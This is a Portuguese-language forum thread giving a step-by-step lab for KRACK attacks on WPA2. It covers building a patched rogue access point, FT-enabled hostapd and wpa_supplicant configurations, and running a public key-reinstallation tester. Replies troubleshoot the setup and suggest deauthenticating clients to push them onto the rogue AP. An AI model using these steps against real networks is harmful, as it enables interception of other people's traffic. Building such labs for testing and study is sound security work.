Jump to content
ncaio

Lab para o ataque KRACK (WPA2)

Recommended Posts

Este texto é a resultante de horas e horas de analises, testes e decepções. Aqui é descrito todo o passo a passo da instalação e configuração de um ambiente propício a execução do código testador de pontos de acesso vulneráveis a ataque KRACK - FT (Fast BSS Transition - IEEE 802.11r - CVE-2017-13082 / FT) disponível em https://github.com/vanhoefm/krackattacks-test-ap-ft. Assim como um ataque KRACK em clientes WPA1 e WPA2 (https://www.krackattacks.com).

Em ambos os casos, o vetor principal quebra/anula o processo WPA 4-way handshake.  No 2017-130xx um rogue AP preparado para pular o handshake é utilizado. Já na CVE-2017-13082 / FT, uma requisição de reassociação FT pode levar um AP a reinstalação de chaves, ao contrário da Krack attack onde isso ocorre no lado cliente.

CVE-2017-130xx

* AP "falso" é configurado para o ataque KRACK;
* Este rogue AP deve ficar próximo da vítima para garantir que ele tenha maior sinal em relação ao AP onde a vítima se encontra;
* Vítima é força a se desassociar do AP alvo;
* Vítima inicia processo de WPA 4-way handshake com o AP "falso" ;
* Ap "falso" descarta handshake;
* Vítima se associa ao rogue AP e começa a enviar quadros não criptografados

CVE-2017-13082 / FT

* É preciso identificar APs com FT;
* Se trata de um ambiente com roaming (fast roaming). As células clientes trocam de access points pertencentes ao mesmo grupo quando estão em movimento, por exemplo;
* Segundo Vanhoef, não se trata de um ataque contra especificações. E sim que foi observado trocas de chaves em alguns APs que não implementaram corretamente a máquina de estado 802.11 (http://community.arubanetworks.com/t5/Technology-Blog/Understanding-802-11-State-Machine/ba-p/270933);
* Existe um app para teste em https://github.com/vanhoefm/krackattacks-test-ap-ft


CVE-2017-130xx LAB

Seguir o procedimento de instalação contidos em https://github.com/vanhoefm/blackhat17-pocs/tree/master/openbsd, especificamente o script get-and-compile-mitm.sh. Ele irá realizar o download do código fonte do hospad, aplicar o patch do Vanhoef e compilar. Este processo só será bem realizado se todas as dependências estiverem corretamente instaladas. Foi utilizada uma VM com Slackware, mas pode ser perfeitamente configurado em outras distribuições. Lembrar dos pacotes de compiladores, build-essential ou Development Tools, por exemplo, e os citados no repositório (libnl-3-dev libnl-genl-3-dev pkg-config libssl-dev rfkill). Foram criados dois access points, um é o rogue e o outro um AP (linux+hostapd) com configurações relevantes ao teste. Pode ser VM ou bare metal. 2 wireless cards em modo AP e um celular com Android para teste. Pode ser uma máquina linux com wpa_suplicant.

     |ap-rogue|    |ap-da-vitima|
             \            /
              \          X
               \        /
                Android
                 Linux

ROGUE AP

git clone git://w1.fi/srv/git/hostap.git -b hostap_2_6 openbsd-mitm
cd openbsd-mitm
wget https://raw.githubusercontent.com/vanhoefm/asiaccs2017-pocs/master/openbsd/mitm_poc.patch
git apply mitm_poc.patch
cd hostapd
cp defconfig .config
make
* Modificar a flag ssid para o mesmo do alvo
* Modificar a flag da interface

Arquivo de proposto.

interface=wlan1
logger_syslog=-1
logger_syslog_level=2
logger_stdout=-1
logger_stdout_level=2
ctrl_interface=/var/run/hostapd
ctrl_interface_group=0
ssid=POC
hw_mode=g
channel=1
beacon_int=100
dtim_period=2
max_num_sta=255
rts_threshold=-1
fragm_threshold=-1
macaddr_acl=0
auth_algs=3
ignore_broadcast_ssid=0
wmm_enabled=1
wmm_ac_bk_cwmin=4
wmm_ac_bk_cwmax=10
wmm_ac_bk_aifs=7
wmm_ac_bk_txop_limit=0
wmm_ac_bk_acm=0
wmm_ac_be_aifs=3
wmm_ac_be_cwmin=4
wmm_ac_be_cwmax=10
wmm_ac_be_txop_limit=0
wmm_ac_be_acm=0
wmm_ac_vi_aifs=2
wmm_ac_vi_cwmin=3
wmm_ac_vi_cwmax=4
wmm_ac_vi_txop_limit=94
wmm_ac_vi_acm=0
wmm_ac_vo_aifs=2
wmm_ac_vo_cwmin=2
wmm_ac_vo_cwmax=3
wmm_ac_vo_txop_limit=47
wmm_ac_vo_acm=0
eapol_key_index_workaround=0
eap_server=0
own_ip_addr=127.0.0.1
wpa=3
wpa_passphrase=password
wpa_pairwise=CCMP
rsn_pairwise=CCMP
Execução
./hostap ap-rogue.conf
AP VÍTIMA

Assim como no rogue ap, você pode executar onde desejar. Instale o hostapd e utilize o arquivo proposto a seguir. Se você utilizou o arquivo de conf anterior proposto para o rogue ap, apenas precisará modificar a interface.

ap-da-vitima.conf

interface=wlan0
logger_syslog=-1
logger_syslog_level=2
logger_stdout=-1
logger_stdout_level=2
ctrl_interface=/var/run/hostapd
ctrl_interface_group=0
ssid=POC
hw_mode=g
channel=6
beacon_int=100
dtim_period=2
max_num_sta=255
rts_threshold=-1
fragm_threshold=-1
macaddr_acl=0
auth_algs=3
ignore_broadcast_ssid=0
wmm_enabled=1
wmm_ac_bk_cwmin=4
wmm_ac_bk_cwmax=10
wmm_ac_bk_aifs=7
wmm_ac_bk_txop_limit=0
wmm_ac_bk_acm=0
wmm_ac_be_aifs=3
wmm_ac_be_cwmin=4
wmm_ac_be_cwmax=10
wmm_ac_be_txop_limit=0
wmm_ac_be_acm=0
wmm_ac_vi_aifs=2
wmm_ac_vi_cwmin=3
wmm_ac_vi_cwmax=4
wmm_ac_vi_txop_limit=94
wmm_ac_vi_acm=0
wmm_ac_vo_aifs=2
wmm_ac_vo_cwmin=2
wmm_ac_vo_cwmax=3
wmm_ac_vo_txop_limit=47
wmm_ac_vo_acm=0
eapol_key_index_workaround=0
eap_server=0
own_ip_addr=127.0.0.1
wpa=3
wpa_passphrase=abcdefgh
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP
rsn_pairwise=CCMP
Execução

./hostap ap-da-vitima.conf
O próximo passo é realizar um deauth, forçar que a célula troque de AP. Daqui para frente são testes e mais testes até recriar o cenário perfeito. No entanto, o laboratório já pode ser utilizado. Passaremos para o laboratório com FT.

CVE-2017-13082 / FT

Este é um cenário um pouco mais complexo de ser recriado. Foram utilizados 3 cartões adaptadores wireless, onde 2 em modo AP e um operando como cliente/monitor. Além de habilitar o suporte a IEEE 802.11r no wpa_supplicant e hostapd.

Criando o primeiro AP com FT

* Instale todos pré requisitos para poder compilar o código fonte do hostapd;
* Certifique-se que o cartão wireless foi detectado e suporta a operação AP;
* Download do repositório;

git clone git://w1.fi/srv/git/hostap.git -b hostap_2_6
cd hostap/hostapd/
* Criar arquivo .config com o seguinte conteúdo

CONFIG_DRIVER_HOSTAP=y
CONFIG_DRIVER_NL80211=y
CONFIG_LIBNL32=y
CONFIG_IAPP=y
CONFIG_RSN_PREAUTH=y
CONFIG_PEERKEY=y
CONFIG_IEEE80211W=y
CONFIG_EAP=y
CONFIG_ERP=y
CONFIG_EAP_MD5=y
CONFIG_EAP_TLS=y
CONFIG_EAP_MSCHAPV2=y
CONFIG_EAP_PEAP=y
CONFIG_EAP_GTC=y
CONFIG_EAP_TTLS=y
CONFIG_PKCS12=y
CONFIG_IPV6=y
CONFIG_IEEE80211R=y
* Compilar com o comando make;
* Ao final você terá suporte a 802.11r;
* Utilize o arquivo de configuração proposto a seguir para o hostap -> ap1-ft.conf;
* Modifique a interface;

interface=wlx001d0fa54d3c
logger_syslog=-1
logger_syslog_level=2
logger_stdout=-1
logger_stdout_level=2
ctrl_interface=/var/run/hostapd
ctrl_interface_group=0
ssid=POC
hw_mode=g
channel=1
beacon_int=100
dtim_period=2
max_num_sta=255
macaddr_acl=0
auth_algs=3
ignore_broadcast_ssid=0
wmm_enabled=1
wmm_ac_bk_cwmin=4
wmm_ac_bk_cwmax=10
wmm_ac_bk_aifs=7
wmm_ac_bk_txop_limit=0
wmm_ac_bk_acm=0
wmm_ac_be_aifs=3
wmm_ac_be_cwmin=4
wmm_ac_be_cwmax=10
wmm_ac_be_txop_limit=0
wmm_ac_be_acm=0
wmm_ac_vi_aifs=2
wmm_ac_vi_cwmin=3
wmm_ac_vi_cwmax=4
wmm_ac_vi_txop_limit=94
wmm_ac_vi_acm=0
wmm_ac_vo_aifs=2
wmm_ac_vo_cwmin=2
wmm_ac_vo_cwmax=3
wmm_ac_vo_txop_limit=47
wmm_ac_vo_acm=0
eapol_key_index_workaround=0
eap_server=0
own_ip_addr=0
nas_identifier=0
wpa=2
wpa_passphrase=password
wpa_key_mgmt=FT-PSK
wpa_pairwise=CCMP
rsn_preauth=1
pmk_r1_push=1
mobility_domain=0101
Execução

Citar

./hostapd ap1-ft.conf

Criando o segundo AP com FT

São os mesmo passos anteriores, mudando apenas o arquivo de configuração ap2-ft.conf, neste caso.

* Utilize o arquivo de configuração proposto a seguir para o hostap -> ap2-ft.conf;
* Modifique a interface;

interface=wlx001d0fa54d3c
logger_syslog=-1
logger_syslog_level=2
logger_stdout=-1
logger_stdout_level=2
ctrl_interface=/var/run/hostapd
ctrl_interface_group=0
ssid=POC
hw_mode=g
channel=6
beacon_int=100
dtim_period=2
max_num_sta=255
macaddr_acl=0
auth_algs=3
ignore_broadcast_ssid=0
wmm_enabled=1
wmm_ac_bk_cwmin=4
wmm_ac_bk_cwmax=10
wmm_ac_bk_aifs=7
wmm_ac_bk_txop_limit=0
wmm_ac_bk_acm=0
wmm_ac_be_aifs=3
wmm_ac_be_cwmin=4
wmm_ac_be_cwmax=10
wmm_ac_be_txop_limit=0
wmm_ac_be_acm=0
wmm_ac_vi_aifs=2
wmm_ac_vi_cwmin=3
wmm_ac_vi_cwmax=4
wmm_ac_vi_txop_limit=94
wmm_ac_vi_acm=0
wmm_ac_vo_aifs=2
wmm_ac_vo_cwmin=2
wmm_ac_vo_cwmax=3
wmm_ac_vo_txop_limit=47
wmm_ac_vo_acm=0
eapol_key_index_workaround=0
eap_server=0
own_ip_addr=0
nas_identifier=0
wpa=2
wpa_passphrase=password
wpa_key_mgmt=FT-PSK
wpa_pairwise=CCMP
rsn_preauth=1
pmk_r1_push=1
mobility_domain=0101
Execução

./hostapd ap1-ft.conf
[ krackattacks-test-ap-ft ]

Mantenha os dois APs em execução e passe para a instalação do krackattacks-test-ap-ft. Neste caso utilizaremos o adaptador com suporte a modo monitor para recriar os testes realizados utilizando a ferramenta.

* Instale todos pré requisitos para poder compilar o código fonte do hostapd;
* Certifique-se que o cartão wireless foi detectado e suporta a operação monitor;
* Compilar wpa_supplicant com suporte 802.11r
git clone git://w1.fi/srv/git/hostap.git -b hostap_2_6
cd hostap/wpa_supplicant/
* Criar arquivo .config com o seguinte conteúdo
CONFIG_DRIVER_WEXT=y
CONFIG_DRIVER_NL80211=y
CONFIG_LIBNL32=y
CONFIG_DRIVER_WIRED=y
CONFIG_IEEE8021X_EAPOL=y
CONFIG_EAP_MD5=y
CONFIG_EAP_MSCHAPV2=y
CONFIG_EAP_TLS=y
CONFIG_EAP_PEAP=y
CONFIG_EAP_TTLS=y
CONFIG_EAP_GTC=y
CONFIG_EAP_OTP=y
CONFIG_EAP_LEAP=y
CONFIG_PKCS12=y
CONFIG_SMARTCARD=y
CONFIG_CTRL_IFACE=y
CONFIG_BACKEND=file
CONFIG_PEERKEY=y
CONFIG_IEEE80211R=y
* Compilar com o comando make;
* Você terá suporte a 802.11r;
* Criar arquivo network.conf com o seguinte conteúdo:
ctrl_interface=/var/run/wpa_supplicant
network={
        ssid="POC"
        key_mgmt=FT-PSK
        psk="password"
}

* Teste o suporte a FT executando o comando:

./wpa_supplicant -D nl80211 -i suainterface0 -c network.conf
* Se não retornar erros, pode finalizar o teste com control+c
* Download do repositório;

git clone https://github.com/vanhoefm/krackattacks-test-ap-ft.git
cd krackattacks-test-ap-ft
* Desabilitar proteções utilizando o script disable-hwcrypto.sh

./disable-hwcrypto.sh
* Reboot
* A app (krackattacks-test-ap-ft) é escrita em python e requer a instalação de bibliotecas. A captura e injeção de pacotes é feita com a lib scapy. Utilize seu gerenciador de pacotes ou pip para instalação.
* Para testar o funcionamento, execute o krack-ft-test.py
* A saída esperada é:
./krack-ft-test.py
./krack-ft-test.py - Tool to test Key Reinstallation Attacks against an AP

To test wheter an AP is vulnerable to a Key Reinstallation Attack against
the Fast BSS Transition (FT) handshake, take the following steps:

1. The hardware encryption engine of some Wi-Fi NICs have bugs that interfere
   with our script. So disable hardware encryption by executing:

      ./disable-hwcrypto.sh

   This only needs to be done once. It's recommended to reboot after executing
   this script. After plugging in your Wi-Fi NIC, use `systool -vm ath9k_htc`
   or similar to confirm the nohwcript/.. param has been set. We tested this
   with an a TP-Link TL-WN722N and an Alfa AWUS051NH v2.

2. Create a wpa_supplicant configuration file that can be used to connect
   to the network. A basic example is:

... CONTINUA
* Este programa é um wrapper que utilizará o wpa_supplicant com suporte 802.11r compilado anteriormente;
* Recomendo copiar o binário do wpa_supplicant com suporte a 802.11r para a pasta raiz do krackattacks-test-ap-ft;
* Identifique seu adaptador de rede, wlan0, por exemplo.
* Pare o seu gerenciador de redes, caso utilize.
* Execução do krack attack test:
./krack-ft-test.py  /caminho/do/wpa_supplicant/comsuporte/iee80211/wpa_supplicant -D nl80211 -i wlan0 -c network.conf
* Saída esperada
./krack-ft-test.py ./wpa_supplicant -D nl80211 -i wlan1 -c network.conf
[12:40:09] Note: disable Wi-Fi in your network manager so it doesn't interfere with this script
Successfully initialized wpa_supplicant
wlan1: SME: Trying to authenticate with 02:1d:0f:a5:4d:30 (SSID='POC' freq=2412 MHz)
wlan1: Trying to associate with 02:1d:0f:a5:4d:30 (SSID='POC' freq=2412 MHz)
[12:40:36] Detected normal association frame
wlan1: Associated with 02:1d:0f:a5:4d:30
wlan1: CTRL-EVENT-SUBNET-STATUS-UPDATE status=0
wlan1: WPA: Key negotiation completed with 02:1d:0f:a5:4d:30 [PTK=CCMP GTK=CCMP]
wlan1: CTRL-EVENT-CONNECTED - Connection to 02:1d:0f:a5:4d:30 completed [id=0 id_str=]
* OBS: A partir deste momento, você precisa realizar o processo de roaming entre os dois APS. O wrapper fica aguardando por quadros de retransmissão para iniciar o skip e levar o Ap a retransmissão de chaves.
* Utilize o comando wpa_cli para o roaming (este binário é gerado junto com o wpa_supplicant).
wpa_cli
wpa_cli v2.5
Copyright (c) 2004-2015, Jouni Malinen <j@w1.fi> and contributors

This software may be distributed under the terms of the BSD license.
See README for more details.


Selected interface 'wlan1'

Interactive mode

>
* Realizar Scan
> scan
OK
<3>CTRL-EVENT-SCAN-STARTED
<3>CTRL-EVENT-SCAN-RESULTS
* Visualizar resultado
> scan_results
bssid / frequency / signal level / flags / ssid
02:1d:0f:a5:4d:30 2412 -20 [WPA2-FT/PSK-CCMP-preauth][ESS] POC
00:1a:3f:24:ce:f2 2437 -56 [WPA2-FT/PSK-CCMP-preauth][ESS] POC
>
* Visualizando status atual
> status
bssid=02:1d:0f:a5:4d:30
freq=2412
ssid=POC
id=0
mode=station
pairwise_cipher=CCMP
group_cipher=CCMP
key_mgmt=FT-PSK
wpa_state=COMPLETED
address=00:40:0c:02:c6:60
* Migrar de células
roam 00:1a:3f:24:ce:f2
* A partir deste momento o wrapper será sensibilizado a iniciar o ataque;
* Saída esperada
[12:55:09] Detected FT reassociation frame
wlan1: Associated with 02:1d:0f:a5:4d:30
wlan1: WPA: Key negotiation completed with 02:1d:0f:a5:4d:30 [PTK=CCMP GTK=CCMP]
wlan1: CTRL-EVENT-CONNECTED - Connection to 02:1d:0f:a5:4d:30 completed [id=0 id_str=]
wlan1: CTRL-EVENT-SUBNET-STATUS-UPDATE status=0
[12:55:10] Replaying Reassociation Request
[12:55:11] Replaying Reassociation Request
[12:55:12] Replaying Reassociation Request
[12:55:14] Replaying Reassociation Request
[12:55:15] Replaying Reassociation Request
[12:55:16] Replaying Reassociation Request
[12:55:17] Replaying Reassociation Request
[12:55:18] Replaying Reassociation Request
[12:55:19] Replaying Reassociation Request
[12:55:20] Replaying Reassociation Request
[12:55:21] Replaying Reassociation Request
Basicamente é isso. Estes são os passos para recriar um ambiente de teste para KRACK ATTACK.
  • Agradecer 1
  • Curtir 2

Share this post


Link to post
Share on other sites

"Configuration file: ap-rogue.conf
nl80211: Could not configure driver mode
nl80211: deinit ifname=wlan0 disabled_11b_rates=0
nl80211 driver initialization failed.
wlan0: interface state UNINITIALIZED->DISABLED
wlan0: AP-DISABLED
hostapd_free_hapd_data: Interface wlan0 wasn't started"

O primeiro ambiente pra mim retornando isso, eu sou bem newba então talvez seja erro meu.

  • Agradecer 2

Share this post


Link to post
Share on other sites

Olá @Ceoz, obrigado pelo interesse na postagem. Cara, isso aí pode ser duas coisas:

  1. Você vai precisar para o serviço de gerenciamento de rede da sua distribuição.
    1. debian /etc/init.d/network-manager stop
    2. slackware /etc/rc.d/rc.networkmanager stop
  2. Seu adaptador wireless não suporta o modo AP
    1. Para saber, você vai precisar executar comandos para descobrir ou pesquisar sobre a relação seu modelo e modo AP.

 

  • Agradecer 1

Share this post


Link to post
Share on other sites
root@ceoz:~/openbsd-mitm/hostapd# ./hostapd ap-rogue.conf
Configuration file: ap-rogue.conf
Using interface wlan0 with hwaddr c0:cb:38:1d:5b:06 and ssid "DIRECT-Hx"
wlan0: interface state UNINITIALIZED->ENABLED
wlan0: AP-ENABLED

 

 

21 horas atrás, ncaio disse:

Olá @Ceoz, obrigado pelo interesse na postagem. Cara, isso aí pode ser duas coisas:

  1. Você vai precisar para o serviço de gerenciamento de rede da sua distribuição.
    1. debian /etc/init.d/network-manager stop
    2. slackware /etc/rc.d/rc.networkmanager stop
  2. Seu adaptador wireless não suporta o modo AP
    1. Para saber, você vai precisar executar comandos para descobrir ou pesquisar sobre a relação seu modelo e modo AP.

 

  Haha, burrice minha mesmo, esqueci de desativar o network manager, o pior é que nos proprios arquivos do github da aplicação pra teste da rede tem a info de que preciso desativar o network manager pra ele não interferir no funcionamento do teste.
Agora tenho outra pergunta, como exatamente eu faria pra redirecionar o cliente pro meu AP automaticamente (como visto nos videos do uso desta falha) o deauth em si eu poderia fazer com aireplay e tudo mais, mas a questão de redirecionar usando beacons e tudo mais eu não faço nem ideia, pode me dar uma ajuda com algum link ou algo do tipo ?
 

Share this post


Link to post
Share on other sites

Olha só, se preocupe em fazer o deauth. Pode ser com o airplay, jammer ou manual (desativa interface de rede do cliente e ativa novamente).  No entanto, o lab vai ocupar seu adaptador de redes com o hostap, ou seja, talvez você precise de outro adaptador para injetar o detauth ¬¬

Share this post


Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.


  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...